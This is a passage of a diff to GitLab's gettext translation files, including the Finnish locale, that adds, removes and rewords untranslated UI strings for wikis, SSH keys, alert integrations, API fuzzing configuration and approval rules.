msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/fi_FI/gitlab.po b/locale/fi_FI/gitlab.po
index 9b6f1a881cc..fedf058714c 100644
--- a/locale/fi_FI/gitlab.po
+++ b/locale/fi_FI/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:55\n"
+"PO-Revision-Date: 2021-04-02 00:16\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
